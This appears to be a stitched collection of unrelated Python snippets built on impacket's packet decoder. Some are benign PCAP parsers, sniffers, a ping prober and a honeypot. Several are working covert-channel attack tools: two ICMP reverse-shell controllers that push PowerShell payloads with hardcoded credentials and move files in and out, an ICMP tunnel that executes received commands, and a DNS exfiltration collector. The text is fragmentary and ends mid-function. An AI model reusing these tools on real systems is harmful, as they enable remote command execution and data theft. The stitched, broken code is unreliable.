def __decodeLayer3(self, etherType, l2Payload): """Internal method that parses the specified header and extracts layer3 related proprieties.""" if etherType == Packets.IP.ethertype: l3Proto = "IP" l3Decoder = Decoders.IPDecoder() layer3 = l3Decoder.decode(l2Payload) paddingSize = len(l2Payload) - layer3.get_ip_len() l3SrcAddr = layer3.get_ip_src() l3DstAddr = layer3.get_ip_dst() l3Payload = l2Payload[layer3.get_header_size():] if paddingSize > 0 and len(l3Payload) > paddingSize: l3Payload = l3Payload[:len(l3Payload) - paddingSize] ipProtocolNum = layer3.get_ip_p() return (l3Proto, l3SrcAddr, l3DstAddr, l3Payload, ipProtocolNum) else: warnMessage = _( "Cannot import one of the provided packets since " + "its layer 3 is unsupported (Only IP is " + "currently supported, packet ethernet " + "type = {0})").format(etherType) self._logger.warn(warnMessage) raise NetzobImportException("PCAP", warnMessage, self.INVALID_LAYER3)
def pcap_to_object(pcap_file, obj_file): """Create a Python serialized graph object. Read the pcap file given in parameter, extracts source and destination IP and write a serialized graph object. """ reader = pcapy.open_offline(pcap_file) print reader.datalink() print pcapy.DLT_LINUX_SLL eth_decoder = Decoders.EthDecoder() sll_decoder = Decoders.LinuxSLLDecoder() ip_decoder = Decoders.IPDecoder() dic_ip = ip_dict() tts_min = 1000 tts_max = 2000 if options.verbose: print "Reading pcap file..." while True: try: (header, payload) = reader.next() if True: #tts_min <= header.getts()[0] <= tts_max: #ethernet = eth_decoder.decode(payload) sll = sll_decoder.decode(payload) if sll.get_ether_type() == Packets.IP.ethertype: #ip = ip_decoder.decode(payload[ethernet.get_header_size():]) ip_src = sll.child().get_ip_src() ip_dst = sll.child().get_ip_dst() dic_ip[ip_src][ip_dst] += 1 except Packets.ImpactPacketException, e: print e except:
def work(): libdivert = MacDivert() decoder = ImpactDecoder.IPDecoder() with DivertHandle(libdivert, 0, "ip from any to any via en0") as fid: pcap = fid.open_pcap('sniff.pcap') # register stop loop signal signal(SIGINT, lambda x, y: fid.close()) while not fid.closed: try: packet = fid.read(timeout=0.5) except: continue if packet.valid: if packet.proc: proc_str = '%s: %d\t' % \ (packet.proc.comm, packet.proc.pid) else: proc_str = 'Unknown process\t' if fid.is_inbound(packet.sockaddr): direct_str = 'inbound' elif fid.is_outbound(packet.sockaddr): direct_str = 'outbound' else: direct_str = 'impossible packet!' print proc_str + direct_str print decoder.decode(packet.ip_data) if packet.valid and not fid.closed: # re-inject the packet fid.write(packet) # save the packet into sniff.pcap pcap.write(packet)
def fakeConnection(self, argv, argc): dhost = argv[1] # The remote host dport = int(argv[2]) # The same port as used by the server sport = dport # The source port shost = argv[3] # The source host if argc >= 5: SYN = int(argv[4]) if argc == 6: ACK = int(argv[5]) # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(shost) ip.set_ip_dst(dhost) # Create a new TCP tcp = ImpactPacket.TCP() # Set the parameters for the connection tcp.set_th_sport(sport) tcp.set_th_dport(dport) tcp.set_th_seq(SYN) tcp.set_SYN() if argc == 6: tcp.set_th_ack(ACK) tcp.set_ACK() # Have the IP packet contain the TCP packet ip.contains(tcp) # Open a raw socket. Special permissions are usually required. protocol_num = socket.getprotobyname('tcp') self.s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) self.s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Calculate its checksum. tcp.calculate_checksum() tcp.auto_checksum = 1 # Send it to the target host. self.s.sendto(ip.get_packet(), (dhost, dport)) # Instantiate an IP packets decoder. # As all the packets include their IP header, that decoder only is enough. decoder = ImpactDecoder.IPDecoder() while 1: packet = self.s.recvfrom(4096)[0] # Packet received. Decode and display it. packet = decoder.decode(packet) print 'source:', packet.get_ip_src() #print packet.get_ip_src(), packet.child().get_th_sport() if isinstance(packet.child(),ImpactPacket.TCP) and \ packet.child().get_th_sport() > 50000: self._sniffed(packet)
def __init__(self, ip_address, key): self.dst = ip_address self.key = key self.fallback_ips = [] self.authenticated_ips = [] self.decoder = ImpactDecoder.IPDecoder() self.queue = Queue() self.sock = None self.thread = None self.shell_proc = None self.set_shell()
def decodePacket(self, rawPacket): ipDecoded = ImpactDecoder.IPDecoder().decode(rawPacket) self.src = ipDecoded.get_ip_src() self.dst = ipDecoded.get_ip_dst() icmpDecoded = ipDecoded.child() self.type = icmpDecoded.get_icmp_type() self.code = icmpDecoded.get_icmp_code() self.raw = ipDecoded.get_packet() print icmpDecoded.get_icmp_gwaddr() print icmpDecoded.get_icmp_lifetime() print icmpDecoded.get_icmp_ttime() print "src:", self.src print "dst:", self.dst
def alive(src, dst): # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data("A" * 156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) for i in range(3): # Wait for incoming replies. if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src( ) == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): return True time.sleep(1) return False
def __init__(self, name, personality, ethernet, actions, services, binds): """Function initializes a network device Args: name : name of the device personality : nmap personality of the device ethernet : ethernet address of the device actions : default actions of the device for packets of certain protocols services : detailed actions for protocols and port numbers binds : ip addresses the devices """ logger.debug('Creating device %s on IPs %s', name, binds) self.name = name self.personality = personality self.mac = ethernet try: self.ethernet = [int(i, 16) for i in self.mac.split(':')] except BaseException: logger.exception('Exception: MAC conversion for device %s failed: %s', self.name, self.mac) sys.exit(1) self.ethernet = tuple(self.ethernet) self.action_dictionary = actions self.service_list = services self.bind_list = binds self.protocol_mapping = ( ('icmp', 1, ICMPHandler()), # IP_PROTO_ICMP ('tcp', 6, TCPHandler()), # IP_PROTO_TCP ('udp', 17, UDPHandler()) # IP_PROTO_UDP ) self.metadata = { 'ip_id': 0, # IP ID 'ip_id_delta': 0, 'cip_id': 0, # CLOSED IP ID 'cip_id_delta': 0, 'icmp_id': 0, # ICMP ID 'icmp_id_delta': 0, 'tcp_isn': 0, # TCP ISN 'tcp_isn_delta': 0, 'tcp_isn_gcd': 0, 'tcp_isn_dev': 0, 'tcp_ts': 0, # TCP TS 'tcp_ts_delta': 0 } self.ip_id_generator() self.tcp_isn_generator() self.tcp_ts_generator() # script can return IP()/ICMP() -> see impacket bug #4870 self.decoder = ImpactDecoder.IPDecoder() self.decoder_icmp = ImpactDecoder.IPDecoderForICMP()
def decodeLayer3(self, etherType, l2Payload): if etherType == Packets.IP.ethertype: l3Proto = "IP" l3Decoder = Decoders.IPDecoder() layer3 = l3Decoder.decode(l2Payload) l3SrcAddr = layer3.get_ip_src() l3DstAddr = layer3.get_ip_dst() l3Payload = l2Payload[layer3.get_header_size():] ipProtocolNum = layer3.get_ip_p() return (l3Proto, l3SrcAddr, l3DstAddr, l3Payload, ipProtocolNum) else: warnMessage = _("Cannot import one of the provided packets since " + "its layer 3 is unsupported (Only IP is " + "currently supported, packet ethernet " + "type = {0})").format(etherType) logging.warn(warnMessage)
def __init__(self, interface, network, default, elements, loggers, tunnels): """Function initialized the dipatcher Args: interface : name of the network interface to listen network : networkx graph representation of the network default : default template elements : elements of the network loggers : instances of the logger modules tunnels : tunnel configuration """ self.interface = interface self.mac = netifaces.ifaddresses( self.interface)[netifaces.AF_LINK][0]['addr'] self.network = network try: post('http://localhost:8080/network', json=dumps(json_graph.node_link_data(self.network))) except: logger.exception('Exception: Cannot connect to local server.') self.default = default self.devices, self.routes, self.externals = elements self.hpfeeds, self.dblogger = loggers self.tunnels = tunnels self.packet_queue = dict() self.entry_points = list() self.unreach_list = list() self.pcapy_object = pcapy.open_live(self.interface, 65535, 1, 10) self.decoder = ImpactDecoder.EthDecoder() self.ip_decoder = ImpactDecoder.IPDecoder() self.ip_icmp_decoder = ImpactDecoder.IPDecoderForICMP() self.mac_set = set([self.mac]) for d in self.devices: if len(d.mac): self.mac_set.add(d.mac) for r in self.routes: if r.entry: self.entry_points.append(r) self.unreach_list.extend(r.unreach_list) logger.info('Started dispatcher listening on interface %s', self.interface) while True: try: (hdr, pkt) = self.pcapy_object.next() self.callback(hdr, pkt) except KeyboardInterrupt: return
class Sniffer(socket.sniffer): decoder = ImpactDecoder.IPDecoder() def __init__(self, address: str = "", **kwargs): try: socket.inet_pton(socket.AF_INET6, address) ipv6 = True except OSError: ipv6 = False super().__init__(address or socket.gethostname(), family=socket.AF_INET6 if ipv6 else socket.AF_INET, **kwargs) def on_start(self): print(datetime.now().strftime( "[i] Started sniffing %A, %B %d at %H:%M:%S!")) def on_stop(self): print(datetime.now().strftime( "[i] Stopped sniffing %A, %B %d at %H:%M:%S!")) def on_recv(self, address, data): packet = self.decoder.decode(data) print(packet) """packet = IPv4(data) print(packet) hexdump(packet.data, prefix = " ") if packet.version != 4: print(f" - Invalid Version field: {packet.version}", color = "red", dark = True) if packet.ihl < 5: print(f" - Invalid Internet Header Length (IHL) field: {packet.ihl} (Must be at least 5)", color = "red", dark = True) if packet.total_length < 20: print(f" - Invalid Total Length field: {packet.total_length}", color = "red", dark = True) if packet.time_to_live < 1: print(f" - Invalid/Exceeded Time To Live (TTL) field: {packet.time_to_live}", color = "red", dark = True) if packet.check_sum(packet.raw_header) != 0 and packet.checksum != 0: print(f" - Incorrect Header Checksum: {packet.checksum:04x}", color = "red", dark = True) if packet.source != address[0]: print(f" - Spoofed Source Address: {packet.source} (Original is {repr(address[0])})", color = "red", dark = True) print()""" def on_error(self, address, exception): raise exception print( f"[!] {type(exception).__name__} [{':'.join(map(str, address))}]:", color="red") print(f" - {exception}", color="red", dark=True)
def sniff(traverser): """Just a sniffer""" sniff_deferred = defer.Deferred() sockets = [] for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) if 0 == len(toListen): print "There are no protocols available." sys.exit(0) print "Listening on protocols:", toListen # Instantiate an IP packets decoder. # As all the packets include their IP header, that decoder only is enough. decoder = ImpactDecoder.IPDecoder() while len(sockets) > 0: # Wait for an incoming packet on any socket. ready = select(sockets, [], [])[0] for s in ready: packet = s.recvfrom(4096)[0] if 0 == len(packet): # Socket remotely closed. Discard it. sockets.remove(s) s.close() else: # Packet received. Decode and display it. packet = decoder.decode(packet) #print packet.get_ip_src(), packet.child().get_th_sport() if isinstance(packet.child(),ImpactPacket.TCP) and \ packet.child().get_th_sport() > 50000: traverser._sniffed(packet)
def work(rate): libdivert = MacDivert() ip_decoder = ImpactDecoder.IPDecoder() with DivertHandle(libdivert, 0, "tcp from any to any via en0") as fid: # register stop loop signal signal(SIGINT, lambda x, y: fid.close()) while not fid.closed: try: divert_packet = fid.read(timeout=0.5) except: continue if divert_packet.valid: # decode the IP packet ip_packet = ip_decoder.decode(divert_packet.ip_data) if ip_packet.get_ip_p() == socket.IPPROTO_TCP: # extract the TCP packet tcp_packet = ip_packet.child() # extract the payload payload = tcp_packet.get_data_as_string() # if there is payload of this TCP packet if len(payload) > 0 and random.random() < rate: # modify one byte of the packet modify_pos = random.randint(0, len(payload) - 1) payload = payload[0:modify_pos] + '\x02' + payload[ modify_pos + 1:] # create Data object with modified data new_data = ImpactPacket.Data(payload) # replace the payload of TCP packet with new Data object tcp_packet.contains(new_data) # update the packet checksum tcp_packet.calculate_checksum() # replace the payload of IP packet with new TCP object ip_packet.contains(tcp_packet) # update the packet checksum ip_packet.calculate_checksum() # finally replace the raw data of diverted packet with modified one divert_packet.ip_data = ip_packet.get_packet() if not fid.closed: fid.write(divert_packet)
def compare_parse(cnt): """ dpkt: 23347.462887 pps impacket: 9937.75963595 pps openbsd.packet: 6826.5955563 pps scapy: 1461.74727127 pps xstruct: 206100.202449 pps """ s = 'E\x00\x00T\xc2\xf3\x00\x00\xff\x01\xe2\x18\n\x00\x01\x92\n\x00\x01\x0b\x08\x00\xfc\x11:g\x00\x00A,\xc66\x00\x0e\xcf\x12\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f!"#$%&\'()*+,-./01234567' start = time.time() for i in range(cnt): dpkt.ip.IP(s) print('dpkt:', cnt / (time.time() - start), 'pps') decoder = ImpactDecoder.IPDecoder() start = time.time() for i in range(cnt): decoder.decode(s) print('impacket:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): packet.Packet(packet.IP, s) print('openbsd.packet:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): scapy.IP(s) print('scapy:', cnt / (time.time() - start), 'pps') start = time.time() for i in range(cnt): ip = xip(s[:dnet.IP_HDR_LEN]) udp = xudp(s[dnet.IP_HDR_LEN:dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN]) data = s[dnet.IP_HDR_LEN + dnet.UDP_HDR_LEN:] print('xstruct:', cnt / (time.time() - start), 'pps')
def main(src, dst, UID): try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error as e: print('You need to run icmp_alamot.py with administrator privileges') return 1 sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) decoder = ImpactDecoder.IPDecoder() cmd = "" download_buffer="" DOWNLOAD_filename = "" RECEIVED = False while 1: if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(65536) if 0 == len(buff): sock.close() return 0 ippacket = decoder.decode(buff) icmppacket = ippacket.child() if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: #print("DATA: "+data) recv_uid = data[:8].strip() if recv_uid == UID: if data[8:12] == '[P$]': if DOWNLOAD_filename and RECEIVED: #print("DOWNLOAD BUFFER: "+download_buffer) try: decoded = base64.b64decode(download_buffer) except: decoded = "" pass with open(DOWNLOAD_filename, "wb") as f: f.write(decoded) f.close() with open(DOWNLOAD_filename, 'rb') as f: md5sum = hashlib.md5(f.read()).hexdigest() print("MD5 hash of downloaded file "+DOWNLOAD_filename+": "+md5sum) print("*** DOWNLOAD COMPLETED ***") DOWNLOAD_filename = "" download_buffer = "" if RECEIVED: cmd = raw_input(data[8:]) clear_buffer(sock) RECEIVED = False else: RECEIVED = True else: RECEIVED = True if DOWNLOAD_filename: download_buffer += data[8:].replace('`n','\n') else: print(data[8:].replace('`n','\n'),end='') if cmd[0:4].lower() == 'exit': print("Exiting...") sock.close() return 0 if cmd[0:7] == 'SHOWUID': print("UID: "+UID) cmd = "echo OK" if cmd[0:5] == 'ADMIN': cmd = "$user = '******'; $passwd = '1234test'; $secpswd = ConvertTo-SecureString $passwd -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $user, $secpswd; invoke-command -computername localhost -credential $credential -scriptblock { "+ payload(LHOST, UID) + " }" if cmd[0:7] == 'DECODER': with open("c.ps1", "wt") as f: f.write(payload(LHOST, DECODER_UID)) f.close() time.sleep(1) httpupload(UID, "c.ps1", "c:\\sysadmscripts\\c.ps1") sock.close() time.sleep(1) print("Waiting for decoder shell...") main(LHOST, RHOST, DECODER_UID) if cmd[0:8] == 'DOWNLOAD': fullpath = cmd[9:].strip() cmd = "[Convert]::ToBase64String([IO.File]::ReadAllBytes('"+fullpath+"'))" DOWNLOAD_filename = fullpath.split('\\')[-1] download_buffer = "" if cmd[0:6] == 'UPLOAD': (upload, local_path, remote_path) = shlex.split(cmd.strip(), posix=False) httpupload(UID, local_path, remote_path, powershell=False) cmd = "get-filehash -algorithm md5 '"+remote_path+"' | fl; $(CertUtil -hashfile '"+remote_path+"' MD5)[1] -replace ' ',''" icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) if cmd and cmd[:8] != UID: cmd = UID+cmd icmp.contains(ImpactPacket.Data(cmd)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) sock.sendto(ip.get_packet(), (dst, 0))
def collector(self, packet): packetdata = None try: eth = ImpactDecoder.EthDecoder().decode(packet) off = eth.get_header_size() if eth.get_ether_type() == ImpactPacket.IP.ethertype: ip_decoder = ImpactDecoder.IPDecoder() ip = ip_decoder.decode(packet[off:]) dst = ip.get_ip_dst() src = ip.get_ip_src() if ip.get_ip_p() == ImpactPacket.UDP.protocol: udp = ip.child() payload = udp.child().get_bytes().tostring() try: import hexdump try: msg = message.from_wire(payload) except Exception as e: # Not an acceptable DNS packet return None if len(msg.answer) > 0: # Packet should not have an answer section return None if len(msg.question) > 0: for q in msg.question: #if hasattr(q, 'name'): if q.rdtype == rdatatype.A: if self.PROPERTIES['subdomain']['Value']: prefix = '.%s.%s.' % ( self.PROPERTIES['subdomain'] ['Value'], self.PROPERTIES['domain']['Value']) else: prefix = '.%s.' % ( self.PROPERTIES['domain']['Value']) if prefix == q.name.to_text( )[-len(prefix):]: # Send a reply to the DNS packet try: r = message.make_response(msg) a = A(rdataclass.IN, rdatatype.A, '79.70.84.71' ) # OFTG in dotted-decimal rrs = rrset.from_rdata( q.name.to_text(), 30, a) r.answer.append(rrs) data = ImpactPacket.Data( r.to_wire()) rudp = ImpactPacket.UDP() rudp.set_uh_sport(53) rudp.set_uh_dport(12345) rudp.contains(data) rip = ImpactPacket.IP() rip.set_ip_dst(src) rip.set_ip_src(self.getlocaladdr()) rip.contains(rudp) s = socket.socket( socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt( socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.sendto(rip.get_packet(), (src, 12345)) except Exception as e: self.logger.error( 'Failed to send reply packet with %s: %s' % (self.__class__.__name__, e)) dnsdata = q.name.to_text( )[:-len(prefix)] dnsdata = self.dnsb64unescape(dnsdata) payload = self.decoder(dnsdata) result = payload # TODO: Fix results result['Source Host'] = src result['Protocol Subtype'] = 'Port' result[ 'Subtype'] = 53 #str(ip.child().get_uh_sport()) return result except DNSException: pass except Exception as e: if e: print 'Error %s' % e.message raise elif eth.get_ether_type() == IP6.IP6.ethertype: ip6_decoder = ImpactDecoder.IP6Decoder() ip6 = ip6_decoder.decode(packet[off:]) src = ip6.get_source_address() packetdata = ip6.get_data_as_string() self.logger.debug( 'Skipping IPv6 packet (not supported for this plugin)') if not packetdata: return None return None except Exception as e: raise return None
def job_ping(self, _config): """icmp job """ ip = self.getIP() src = ip.getIfIPv4() target = _config['target'] try: a = socket.getaddrinfo(target, None, socket.AF_INET) dst = a[0][4][0] except socket.gaierror: logging.error("cannot find servername {}".format(target)) return logging.info("probe icmp to {} {}".format(target, dst)) pkt_ip = ImpactPacket.IP() pkt_ip.set_ip_src(src) pkt_ip.set_ip_dst(dst) if _config.__contains__('tos'): tos = int(_config['tos']) pkt_ip.set_ip_tos(tos) if tos > 0: logging.info("set tos to {}".format(tos)) # Create a new ICMP packet of type ECHO. pkt_icmp = ImpactPacket.ICMP() pkt_icmp.set_icmp_type(pkt_icmp.ICMP_ECHO) # Include a payload inside the ICMP packet. size = 64 if _config.__contains__('size'): size = int(_config['size']) pkt_icmp.contains(ImpactPacket.Data("A" * size)) # Have the IP packet contain the ICMP packet (along with its payload). pkt_ip.contains(pkt_icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 3 if _config.__contains__('sequence'): seq_id = int(_config['sequence']) sleep_delay = 1 if _config.__contains__('sleep'): sleep_delay = int(_config['sleep']) fTimeout = 1.0 if _config.__contains__('timeout'): fTimeout = float(_config['timeout']) res_timeout = 0 res_ok = 0 avg_rtt = 0 min_rtt = 10000 max_rtt = 0 for i in range(seq_id): # Give the ICMP packet the next ID in the sequence. pkt_icmp.set_icmp_id(i) # Calculate its checksum. pkt_icmp.set_icmp_cksum(0) pkt_icmp.auto_checksum = 1 now = time.time() # Send it to the target host. s.sendto(pkt_ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s], [], [], fTimeout)[0]: reply = s.recvfrom(2000)[0] d = time.time() - now avg_rtt += d if d < min_rtt: min_rtt = d if d > max_rtt: max_rtt = d # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # print rip.get_ip_tos() # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src( ) == dst and pkt_icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type( ) and ricmp.get_icmp_id() == i: logging.debug("Ping reply for sequence #{} {:0.2f}".format( ricmp.get_icmp_id(), d * 1000)) res_ok += 1 if i + 1 <= seq_id: time.sleep(sleep_delay) else: logging.warning("timeout") res_timeout += 1 avg_rtt += fTimeout avg_rtt = (avg_rtt / seq_id) result = { "icmp-seq": seq_id, "icmp-ok": res_ok, "icmp-target": target, "icmp-targetIP": dst, "icmp-timeout": res_timeout, "icmp-avg_rtt": avg_rtt * 1000, "icmp-min_rtt": min_rtt * 1000, "icmp-max_rtt": max_rtt * 1000 } logging.info("icmp results : {}".format(result)) self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()
def main(src, dst, UID): try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error as e: print('You need to run icmp_alamot.py with administrator privileges') return 1 sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) decoder = ImpactDecoder.IPDecoder() cmd = "" download_buffer = "" DOWNLOAD_filename = "" RECEIVED = False while 1: if sock in select.select([sock], [], [])[0]: buff = sock.recv(65536) if 0 == len(buff): sock.close() return 0 ippacket = decoder.decode(buff) icmppacket = ippacket.child() if ippacket.get_ip_dst() == src and ippacket.get_ip_src( ) == dst and 8 == icmppacket.get_icmp_type(): ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: #print("DATA: "+data) recv_uid = data[:8].strip() if recv_uid == UID: if data[8:12] == '[P$]': if DOWNLOAD_filename and RECEIVED: #print("DOWNLOAD BUFFER: "+download_buffer) try: decoded = base64.b64decode(download_buffer) except: decoded = "" pass with open(DOWNLOAD_filename, "wb") as f: f.write(decoded) f.close() with open(DOWNLOAD_filename, 'rb') as f: md5sum = hashlib.md5(f.read()).hexdigest() print("MD5 hash of downloaded file " + DOWNLOAD_filename + ": " + md5sum) print("*** DOWNLOAD COMPLETED ***") DOWNLOAD_filename = "" download_buffer = "" if RECEIVED: cmd = raw_input(data[8:]) clear_buffer(sock) RECEIVED = False else: RECEIVED = True else: RECEIVED = True if DOWNLOAD_filename: download_buffer += data[8:].replace('`n', '\n') else: print(data[8:].replace('`n', '\n'), end='') if cmd[0:4].lower() == 'exit': print("Exiting...") sock.close() return 0 icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) if cmd and cmd[:8] != UID: cmd = UID + cmd icmp.contains(ImpactPacket.Data(cmd)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) sock.sendto(ip.get_packet(), (dst, 0))
def run(self): # glavna metoda koja se pokrece sa start() (nasljedje od Threada) self.is_open = True while self.is_open: # vrtimo glavnu petlju dok se ne pozove close() r = select([self.tunnel_sock], [], [], 1)[0] if self.tunnel_sock in r: # ako ima nesto za citanje na nasem socketu inbound = self.tunnel_sock.recvfrom(2000)[0] # raspakiravamo paket inbound_ip = ImpactDecoder.IPDecoder().decode(inbound) inbound_icmp = inbound_ip.child() try: # pokusavamo dekriptirai paket, ako dodje do greske zbog nedostatka paddinga ocito nije nas paket data = mData.DataMangler( inbound_icmp.get_data_as_string()).deobfuscate( self.password, self.algo) except: # not the droid we are looking for pass if self.operating_as == CLIENT: # ako smo u CLIENT modu if inbound_ip.get_ip_src( ) == self.dst_ip_addr and inbound_icmp.get_icmp_type( ) == self.icmp.ICMP_ECHOREPLY: # ako odgovara SRC, DST IP i tip paketa if data.startswith(SERVER_PREFIX): # ako podaci pocinju sa prefixom poruke od servera if data[len(SERVER_PREFIX):].startswith( CMD_PREFIX): # ako je u podacima zapakirana naredba vadimo je van command = data[len(SERVER_PREFIX) + len(CMD_PREFIX):] try: # pokusavamo izvrsiti naredbu i uhvatiti output cmd_output = subprocess.check_output( command.split(' ')) except: # doslo je do problema pri izrsavanju naredbe cmd_output = "Command execution error!" self.send_raw(cmd_output) else: # dobili smo ciste podatke, ispisi ih u konzolu print mCmd.CC_IN + "< " + data[ len(SERVER_PREFIX):] + mCmd.CC_NONE elif data.startswith(TUNNEL_NOOP): # ako server kaze da nema nista za nas spavamo if not self.connected: # ako nismo do sada imali ostvareni tunel oznacavamo ga kao ostvarenog self.connected = True print '\n: Tunnel operational!' elif self.operating_as == SERVER: # ako smo u SERVER modu if inbound_ip.get_ip_src( ) == self.dst_ip_addr and inbound_icmp.get_icmp_type( ) == self.icmp.ICMP_ECHO: if data.startswith(CLIENT_PREFIX): # ako su podaci od klijenta uzimamo ID/SEQ da mozemo pravilno craftati paket za odgovor self.seq_id = inbound_icmp.get_icmp_id() self.create_packet() if data[len(CLIENT_PREFIX):].startswith( CMD_PREFIX): # vadimo naredbu iz podataka command = data[len(CLIENT_PREFIX) + len(CMD_PREFIX):] try: # pokusavamo izvrsiti naredbu i uhvatiti output cmd_output = subprocess.check_output( command.split(' ')) except: # doslo je do problema pri izrsavanju naredbe cmd_output = "Command execution error!" self.send_raw(cmd_output) else: # ispisujemo ciste podatke u konzolu print mCmd.CC_IN + "< " + data[ len(CLIENT_PREFIX):] + mCmd.CC_NONE elif data.startswith(TUNNEL_RET): # dobili smo zahtjev za slanje podataka na cekanju self.seq_id = inbound_icmp.get_icmp_id() self.create_packet() if len(self.data_buffer) > 0: # ako imamo podataka u bufferu skidamo jedan po jedan i saljemo data = self.data_buffer.pop() self.send_raw(data) else: # nemamo podataka za slanje, saljemo NOOP instrukciju self.send_raw(TUNNEL_NOOP) if inbound_icmp.get_icmp_type() == self.icmp.ICMP_ECHO: if data == TUNNEL_STS: # dobili smo komandu za prelazak u SERVER mod try: # lokalni dst = dolazni src, src = dst self.dst_ip_addr = inbound_ip.get_ip_src() self.src_ip_addr = inbound_ip.get_ip_dst() self.seq_id = inbound_icmp.get_icmp_id() self.operating_as = SERVER # iskljucujemo handling ICMP ECHO paketa od sustava i preuzimamo na sebe (Linux) f = open('/proc/sys/net/ipv4/icmp_echo_ignore_all', 'w') f.write('1') f.close() # kreiramo novi paket sa novim podacima self.create_packet() # prikazujemo nove postavke tunela self.display_tunnel_info() except: # ako ne uspijemo iskljuciti ECHO handling u sustavu odustajemo, preveliki pingstorm se dogodi od bouncanja print 'Unable to switch to a clean server, quitting..' self.close() sys.exit(1) else: if self.operating_as == CLIENT: # slanje upita serveru ako ima nesto novo za nas, zaobilazenje NATa/Firewalla self.send_retrieve_data()
def __init__(self, options): self.dst = options.shell self.src = options.ip self.interface = options.interface self.decoder = ImpactDecoder.IPDecoder()
def run_server(self): self.set_blocking(sys.stdin.fileno()) try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except Exception as err: print('Socket error: %s' % err) sys.exit(1) if options.ip == '': self.src = self.get_ip_address(options.interface) print('Listening for calls on %s from shell %s' % (self.src, self.dst)) self.sock.setblocking(0) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ip = ImpactPacket.IP() ip.set_ip_src(self.src) ip.set_ip_dst(self.dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' if self.sock in select.select([self.sock], [], [])[0]: buff = self.sock.recv(4096) if 0 == len(buff): self.sock.close() sys.exit(0) ippacket = decoder.decode(buff) icmppacket = ippacket.child() if ippacket.get_ip_dst() == self.src \ and ippacket.get_ip_src() == self.dst \ and 8 == icmppacket.get_icmp_type(): ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if not self.is_alive: print('Received call from %s' % self.dst) self.is_alive = True if len(data) > 0: if 'AUTH' in data: print('Auth request (auth <password>):') data = '' if data != "": sys.stdout.write(data) try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': print('Exiting client (shell still running on host)') return elif 'auth' in cmd: cmd_args = cmd.strip().split(' ') 